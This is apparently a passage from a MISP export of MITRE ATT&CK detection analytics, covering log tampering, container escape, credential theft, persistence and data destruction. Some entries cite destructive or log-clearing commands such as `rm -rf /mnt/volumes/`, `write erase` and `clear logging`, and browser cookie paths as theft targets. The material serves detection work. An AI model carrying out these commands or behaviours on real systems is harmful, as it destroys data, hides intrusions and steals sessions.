Detects removal of Remote Login or Screen Sharing logs in Unified Logging, deletion of `com.apple.UTun`, or suspicious Terminal use of `rm`, `sudo pfctl -F all` to clear network state/config history.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0135 - AN0135"*

Table 6362. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0049#AN0135

Analytic 1530 - AN1530

Monitors for anomalous binary files written to disk with padded size and subsequent execution by user or service context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1530 - AN1530"*

Table 6363. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0553#AN1530

Analytic 1053 - AN1053

Correlate creation or modification of serverless functions (e.g., AWS Lambda, GCP Cloud Functions, Azure Functions) with anomalous IAM role assignments or permissions escalation events. Detect subsequent executions of newly created functions that perform unexpected actions such as spawning outbound network connections, accessing sensitive resources, or creating additional credentials.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1053 - AN1053"*

Table 6364. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0374#AN1053

Analytic 0613 - AN0613

Detection of Linux container escape attempts via syscalls (`unshare`, `keyctl`, `mount`) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0613 - AN0613"*

Table 6365. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0219#AN0613

Analytic 1063 - AN1063

Execution of unsigned kernel extensions (KEXTs), tampering with LaunchDaemons, or userspace hooks into system libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1063 - AN1063"*

Table 6366. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0377#AN1063

Analytic 1036 - AN1036

Monitors for hardware or firmware tampering by correlating system boot logs, hardware inventory changes, and secure boot/firmware verification failures. Behavioral chain: (1) UEFI/BIOS version drift; (2) secure boot disabled or signature verification errors; (3) unexpected modules or hardware devices enumerated at boot; (4) new device firmware images loaded from non-approved sources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1036 - AN1036"*

Table 6367. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0368#AN1036

Analytic 1360 - AN1360

Defenders may observe attempts to disable dedicated crypto hardware on network devices, often visible through anomalous CLI commands, unexpected firmware or configuration updates, and degraded encryption performance. Suspicious indicators include commands that alter hardware acceleration settings (e.g., disabling AES-NI or crypto engines), modification of system image files, or logs showing fallback from hardware to software encryption. Network traffic analysis may also reveal a sudden downgrade in throughput or cipher negotiation behavior consistent with the absence of hardware acceleration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1360 - AN1360"*

Table 6368. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0494#AN1360

Analytic 0163 - AN0163

Detect unauthorized manipulation of log files, database entries, or system configuration files through auditd and syslog. Correlate shell commands that alter HISTFILE or data-related processes with abnormal file access patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0163 - AN0163"*

Table 6369. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0059#AN0163

Analytic 0136 - AN0136

Detects firewall rule modifications or reset of logs/connection tables (e.g., `clear logging`, `erase startup-config`, `write erase`) following remote access activity on routers, switches, or VPN

appliances.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0136 - AN0136"*

Table 6370. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0049#AN0136

Analytic 0316 - AN0316

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17). Excessive enumeration of accounts with 'Do not require Kerberos preauthentication' set in Active Directory is another key detection point.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0316 - AN0316"*

Table 6371. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0113#AN0316

Analytic 0361 - AN0361

Suspicious invocation of GUI utilities or scripts with suppressed or redirected windowing options. Defender view: detection of X11 or Wayland calls to spawn windows that do not appear on active displays, or use of nohup/screen/tmux to mask interactive shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0361 - AN0361"*

Table 6372. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0128#AN0361

Analytic 1603 - AN1603

Detection of unauthorized changes to boot configurations pointing to TFTP servers, unusual firmware loads during netbooting, or suspicious TFTP traffic. Correlation of boot config modifications, command history logs, and unexpected system image hashes provides detection coverage for adversaries attempting to persist via malicious TFTP boot images.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1603 - AN1603"*

Table 6373. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0582#AN1603

Analytic 1306 - AN1306

Linux environmental keying behavioral chain: (1) System information gathering through native commands (uname, hostname, id, whoami, ifconfig/ip) and file system enumeration, (2) Network configuration discovery (route tables, DNS settings, network interfaces), (3) Filesystem and mount point analysis for target-specific directories or devices, (4) Process and service enumeration to identify target-specific software, (5) Cryptographic library usage correlation with collected environmental data, (6) Payload execution following successful environmental validation

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1306 - AN1306"*

Table 6374. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0474#AN1306

Analytic 1630 - AN1630

Defenders may observe adversary attempts to extract configuration data from management repositories by monitoring for anomalous SNMP queries, API calls, or protocol requests (e.g., NETCONF, RESTCONF) that enumerate system configuration. Suspicious sequences include repeated queries from untrusted IPs, abnormal query types requesting sensitive configuration data, or repository access occurring outside of normal administrative maintenance windows. Abnormal authentication attempts, sudden enumeration of device inventory, or bulk data transfer of configuration files may also be observed.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1630 - AN1630"*

Table 6375. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0592#AN1630

Analytic 0631 - AN0631

Detects when a script or binary is named with misleading or benign-looking extensions (.jpg, .doc) and is then executed via command line or a scheduled task. Includes ELF header mismatches and content-type inconsistencies on disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0631 - AN0631"*

Table 6376. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0226#AN0631

Analytic 1037 - AN1037

Detects tampered Mac hardware/firmware by analyzing unified logs, EndpointSecurity events, and Apple Mobile File Integrity (AMFI) checks. Behavioral chain: (1) Boot process reports firmware signature mismatch; (2) Secure Boot policy altered; (3) new EFI drivers or hardware devices appear in inventory; (4) system extension loads from unapproved developer IDs post-boot.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1037 - AN1037"*

Table 6377. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0368#AN1037

Analytic 0731 - AN0731

Analyze ESXi syslogs for management agents or VMs making outbound connections to dynamically calculated ports derived from DNS responses. Cross-check with VM traffic baselines to identify anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0731 - AN0731"*

Table 6378. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0262#AN0731

Analytic 0371 - AN0371

Detects outbound traffic from hostd/vpxa or guest VM interfaces using unauthorized protocols such as FTP, HTTP POST bursts, or long-lived DNS tunnels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0371 - AN0371"*

Table 6379. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0131#AN0371

Analytic 0137 - AN0137

An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0137 - AN0137"*

Table 6380. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0050#AN0137

Analytic 0317 - AN0317

Detects attempts to enumerate local groups via Net.exe, PowerShell, or native API calls that precede lateral movement or privilege abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0317 - AN0317"*

Table 6381. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0114#AN0317

Analytic 1307 - AN1307

macOS environmental keying behavioral chain: (1) System information discovery through native utilities (system_profiler, sw_vers, hostname, dscl) and Security framework queries, (2) Hardware and software enumeration including serial numbers, installed applications, and system versions, (3) Network configuration assessment (networksetup, scutil) and wireless network discovery, (4) Keychain and security context validation, (5) Unified Logs correlation with cryptographic framework usage (CommonCrypto, Security.framework), (6) Application bundle execution following environmental validation

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1307 - AN1307"*

Table 6382. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0474#AN1307

Analytic 0173 - AN0173

Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0173 - AN0173"*

Table 6383. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0063#AN0173

Analytic 1370 - AN1370

Detection of adversaries attempting to stop or disable host-based security agents by killing daemons, unloading kernel modules, or modifying init/systemd service configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1370 - AN1370"*

Table 6384. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1370

Analytic 1073 - AN1073

Collection of device configuration via CLI commands (e.g., `show running-config`, `copy flash`, `more`), often followed by TFTP/SCP transfers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1073 - AN1073"*

Table 6385. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380#AN1073

Analytic 0713 - AN0713

Defender observes unauthorized modification or creation of Python hook files such as `.pth`, `sitecustomize.py`, or `usercustomize.py` in Python `site-packages`, `dist-packages`, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0713 - AN0713"*

Table 6386. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0258#AN0713

Analytic 1703 - AN1703

Application vetting services could look for misuse of dynamic libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1703 - AN1703"*

Table 6387. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0632#AN1703

Analytic 1730 - AN1730

This behavior is seamless to the user and is typically undetectable.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1730 - AN1730"*

Table 6388. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0649#AN1730

Analytic 1308 - AN1308

Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1308 - AN1308"*

Table 6389. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0475#AN1308

Analytic 0381 - AN0381

Detects email-sending behavior via Terminal, AppleScript, or Automator that interfaces with SMTP or IMAP, typically using curl or mail-related APIs in unsanctioned contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0381 - AN0381"*

Table 6390. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0135#AN0381

Analytic 1083 - AN1083

Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1083 - AN1083"*

Table 6391. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0384#AN1083

Analytic 0813 - AN0813

Execution of renamed or dropped files with a trailing space to deceive users or analysts, especially in LaunchAgents or LaunchDaemons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0813 - AN0813"*

Table 6392. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0292#AN0813

Analytic 0138 - AN0138

Malicious Office add-ins loaded via VSTO, COM, or VBA auto-load paths. Upon launch of Word/Excel/Outlook, the add-in executes code without user action. Add-in resides in trusted directory or registered via Office COM/VBE subsystem. Behavior includes unsigned add-in execution, anomalous load context, or add-in spawning interpreter process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0138 - AN0138"*

Table 6393. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0050#AN0138

Analytic 0318 - AN0318

Detects enumeration of local groups using common binaries (groups, getent, cat /etc/group) or scripting with suspicious lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0318 - AN0318"*

Table 6394. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0114#AN0318

Analytic 1380 - AN1380

Privileged or rarely used accounts performing bulk access to SharePoint files or metadata over a short time window, indicating potential scripted collection of sensitive internal documents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1380 - AN1380"*

Table 6395. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0500#AN1380

Analytic 0183 - AN0183

Use of nohup, disown, or AppleScript constructs to suppress process interrupts. Defender perspective: commands containing nohup or hidden background tasks (`osascript` with persistent execution) correlated with processes surviving user logouts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0183 - AN0183"*

Table 6396. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0067#AN0183

Analytic 1038 - AN1038

Correlate file modifications in shell startup scripts (e.g., .bashrc, .profile) with embedded `trap` commands and observe if those changes are followed by the unexpected execution of child processes when terminal signals (e.g., SIGINT) are triggered. Use contextual linking with user session activity to detect privilege misuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1038 - AN1038"*

Table 6397. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0369#AN1038

Analytic 0831 - AN0831

Detects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0831 - AN0831"*

Table 6398. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0298#AN0831

Analytic 1803 - AN1803

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1803 - AN1803"*

Table 6399. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0691#AN1803

Analytic 1830 - AN1830

Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1830 - AN1830"*

Table 6400. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0707#AN1830

Analytic 1093 - AN1093

Detects anomalous ARP cache changes and unsolicited ARP broadcasts using unified logs and packet capture. Behavioral detection includes multiple IP addresses mapped to the same MAC address and repeated gratuitous ARP traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1093 - AN1093"*

Table 6401. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0387#AN1093

Analytic 0913 - AN0913

Detects the presence of executables with high NOP padding, unusually large binary size for their function, and follow-on execution or memory injection from such files, especially when originating from temp or user-space paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0913 - AN0913"*

Table 6402. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0322#AN0913

Analytic 0193 - AN0193

Phishing delivered via SaaS services (chat, collaboration platforms) where messages contain malicious URLs or attachments. Detect anomalous link clicks, suspicious file uploads, or token misuse after SaaS-based phishing attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0193 - AN0193"*

Table 6403. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0193

Analytic 1309 - AN1309

Correlates creation of email forwarding rules or header anomalies (e.g., X-MS-Exchange-Organization-AutoForwarded) with suspicious process execution, file access of .pst/.ost files, and network connections to external SMTP servers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1309 - AN1309"*

Table 6404. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0476#AN1309

Analytic 0139 - AN0139

Creation or modification of files in directories known to be excluded from AV scanning (e.g., C:\Windows\Temp, Exchange server directories, or default AV exclusions). Defender perspective: correlate file creation with execution behavior or anomalous parent processes writing to excluded paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0139 - AN0139"*

Table 6405. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0051#AN0139

Analytic 0931 - AN0931

Remote Desktop (RDP) logon by a user followed by unusual process execution, file access, or lateral movement activity within a short timeframe.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0931 - AN0931"*

Table 6406. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0327#AN0931

Analytic 0319 - AN0319

Detects use of dscl or id/group commands to enumerate local system groups, often by post-exploitation tools or persistence checks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0319 - AN0319"*

Table 6407. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0114#AN0319

Analytic 1039 - AN1039

Detect unauthorized `trap` command registrations in shell startup files (e.g., .zprofile, .bash_profile, .zshrc) followed by execution chains during user terminal interaction. Use Unified Logs and EDR telemetry to correlate shell command parsing and process tree anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1039 - AN1039"*

Table 6408. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0369#AN1039

Analytic 0391 - AN0391

Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0391 - AN0391"*

Table 6409. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0139#AN0391

Analytic 1390 - AN1390

Detects command-line utilities or scripts using encryption libraries or symmetric algorithms (e.g., OpenSSL AES, GPG, Python + PyCrypto) in conjunction with outbound file transfers or traffic to external destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1390 - AN1390"*

Table 6410. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0503#AN1390

Analytic 1404 - AN1404

Detects unauthorized access to browser cookie paths (e.g., `~/Library/Application Support/Google/Chrome/Default/Cookies`) or `task_for_pid`/`vm_read` calls to Safari/Chrome memory space.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1404 - AN1404"*

Table 6411. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509#AN1404

Analytic 0144 - AN0144

Detects excessive outbound traffic to remote host over HTTP(S) from uncommon or previously unseen processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0144 - AN0144"*

Table 6412. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0053#AN0144

Analytic 0441 - AN0441

Unusual screensaver (.scr) executions correlated with recent registry modifications to HKCU\Control Panel\Desktop values such as SCRNSAVE.exe, ScreenSaveTimeout, and ScreenSaveActive. Detection focuses on PE image paths not consistent with known legitimate screensavers and triggered after user inactivity timeout.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0441 - AN0441"*

Table 6413. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0154#AN0441

Analytic 1044 - AN1044

Execution of file discovery commands (e.g., 'dir', 'show flash', 'nvram:') from CLI interfaces, especially by unauthorized users or from abnormal source IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1044 - AN1044"*

Table 6414. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370#AN1044

Analytic 0414 - AN0414

Adversary deletes critical infrastructure: EC2 instances, S3 buckets, snapshots, or volumes using elevated IAM credentials. Frequently includes batch API calls with `Delete*` or `TerminateInstances`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0414 - AN0414"*

Table 6415. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0414

Analytic 1440 - AN1440

Detects suspicious use of PowerShell, .NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1440 - AN1440"*

Table 6416. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0521#AN1440

Analytic 0145 - AN0145

Identifies custom or previously unseen userland processes initiating high-volume HTTP connections with low response volume.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0145 - AN0145"*

Table 6417. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0053#AN0145

Analytic 0451 - AN0451

Detect repeated failed login events followed by MFA challenges triggered in rapid succession, especially if originating from service accounts or anomalous IP addresses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0451 - AN0451"*

Table 6418. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0451

Analytic 0514 - AN0514

CLI tools (smbclient -L, smbmap, rpcclient, nmblookup) or custom scripts enumerate SMB shares on many internal hosts → corresponding SMB connections (445/139) captured by Zeek/Netflow within a short window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0514 - AN0514"*

Table 6419. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0182#AN0514

Analytic 1450 - AN1450

Remote knock sequence followed by PF/socketfilterfw rule update or a background process listening on a new port; then a successful TCP session. Also flags WoL magic packets on local segment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1450 - AN1450"*

Table 6420. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0524#AN1450

Analytic 0541 - AN0541

Detection of anti-malware quarantining or flagging a tool, followed by a new binary written to disk with a similar function or name and a resumed process chain.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0541 - AN0541"*

Table 6421. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0189#AN0541

Analytic 1540 - AN1540

Identify use of 'shutdown', 'reboot', or 'osascript' system shutdown invocations within unified logs and track unexpected shutdown sequences initiated by GUI or script. Cross-reference with user activity or absence thereof.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1540 - AN1540"*

Table 6422. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559#AN1540

Analytic 0154 - AN0154

Detection of unexpected additions or modifications to system-wide certificate stores or execution of commands adding certificates to trusted stores.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0154 - AN0154"*

Table 6423. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0056#AN0154

Analytic 1405 - AN1405

Detects automation macros or VBA scripts in documents that access browser file paths, read cookie data, or attempt to exfiltrate browser session tokens over HTTP.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1405 - AN1405"*

Table 6424. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509#AN1405

Analytic 0415 - AN0415

Adversary destroys virtual disks (VMDK), images, or VMs by invoking `vim-cmd`, deleting datastore contents, or purging snapshots.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0415 - AN0415"*

Table 6425. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0415

Analytic 1045 - AN1045

Monitor for suspicious use of Windows API calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or processes manually checking the BeingDebugged flag in the Process Environment Block (PEB). Detect sequences of OutputDebugStringW() calls in short intervals that may indicate debugger flooding attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1045 - AN1045"*

Table 6426. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0371#AN1045

Analytic 1054 - AN1054

Monitor for creation of new Power Automate flows or equivalent automation scripts that trigger on user or file events. Detect anomalous actions performed by these automations, such as email forwarding, anonymous link creation, or unexpected API calls to external endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1054 - AN1054"*

Table 6427. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0374#AN1054

Analytic 1504 - AN1504

Detects cloud account use for API calls that exceed normal scope, such as IAM changes or access to services never used before.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1504 - AN1504"*

Table 6428. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0546#AN1504

Analytic 1460 - AN1460

Detects use of macOS-native archiving or encryption tools (zip, ditto, hdiutil) for staging collected data. Identifies unexpected invocation of archive utilities by Office apps, browsers, or background daemons. Correlates file creation of .zip/.dmg containers with process lineage anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1460 - AN1460"*

Table 6429. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0526#AN1460

Analytic 0164 - AN0164

Detect manipulation of system or application files in `/Library`, `/System`, or user data directories using FSEvents and Unified Logs. Identify anomalous process execution modifying plist files, structured data, or logs outside expected update cycles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0164 - AN0164"*

Table 6430. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0059#AN0164

Analytic 1640 - AN1640

SSH login via hostd or `/var/log/auth.log`, followed by CLI access to host shell or file manipulation in restricted areas.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1640 - AN1640"*

Table 6431. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0596#AN1640

Analytic 1064 - AN1064

Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1064 - AN1064"*

Table 6432. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378#AN1064

Analytic 1604 - AN1604

Adversary uses built-in OS tools or API calls to create local or domain accounts for persistence or

lateral movement. Tools such as 'net user', PowerShell, or MMC snap-ins may be used. Detection focuses on Event ID 4720 paired with process lineage and user context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1604 - AN1604"*

Table 6433. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583#AN1604

Analytic 1406 - AN1406

Detects use of session cookies or authentication tokens from unusual user agents or locations. Identifies token reuse without reauthentication or attempts to bypass MFA using previously stolen cookies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1406 - AN1406"*

Table 6434. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509#AN1406

Analytic 0416 - AN0416

Container process executes destructive file operations inside volume mounts or host paths. Includes `rm -rf /mnt/volumes/`, container breakout followed by host deletion attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0416 - AN0416"*

Table 6435. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0416

Analytic 0614 - AN0614

Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0614 - AN0614"*

Table 6436. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0219#AN0614

Analytic 0641 - AN0641

Enumeration of global address lists or email account metadata via PowerShell cmdlets (e.g., Get-GlobalAddressList) or MAPI/RPC from non-admin, non-mailserver systems.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0641 - AN0641"*

Table 6437. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0229#AN0641

Analytic 0461 - AN0461

Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., `show aaa`, `show password-policy`); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0461 - AN0461"*

Table 6438. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0161#AN0461

Analytic 0146 - AN0146

Flags unexpected user applications initiating long-lived HTTP(S) sessions with irregular traffic patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0146 - AN0146"*

Table 6439. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0053#AN0146

Analytic 1046 - AN1046

Monitor access to /proc/self/status where TracerPID field is queried, as this is a common technique for debugger detection. Detect processes that attempt to trigger exceptions intentionally and monitor whether exception handling indicates presence of a debugger.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1046 - AN1046"*

Table 6440. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0371#AN1046

Analytic 0417 - AN0417

Adversary gains access to cloud-hosted services such as AWS SES, SNS, or OpenAI API, enables or modifies usage policies, and initiates resource-intensive actions (e.g., mass email/SMS or LLM queries), often from unauthorized regions or under anomalous identity conditions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0417 - AN0417"*

Table 6441. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0147#AN0417

Analytic 1074 - AN1074

Adversaries accessing datastore or configuration files via `vim-cmd`, `esxcli`, or SCP to extract logs, VMs, or host configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1074 - AN1074"*

Table 6442. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380#AN1074

Analytic 0147 - AN0147

Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0147 - AN0147"*

Table 6443. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0054#AN0147

Analytic 1407 - AN1407

Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1407 - AN1407"*

Table 6444. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0510#AN1407

Analytic 0174 - AN0174

Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0174 - AN0174"*

Table 6445. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0063#AN0174

Analytic 0471 - AN0471

Detects use of `clear history` or `clear logging` commands on network device CLI to remove past activity logs.

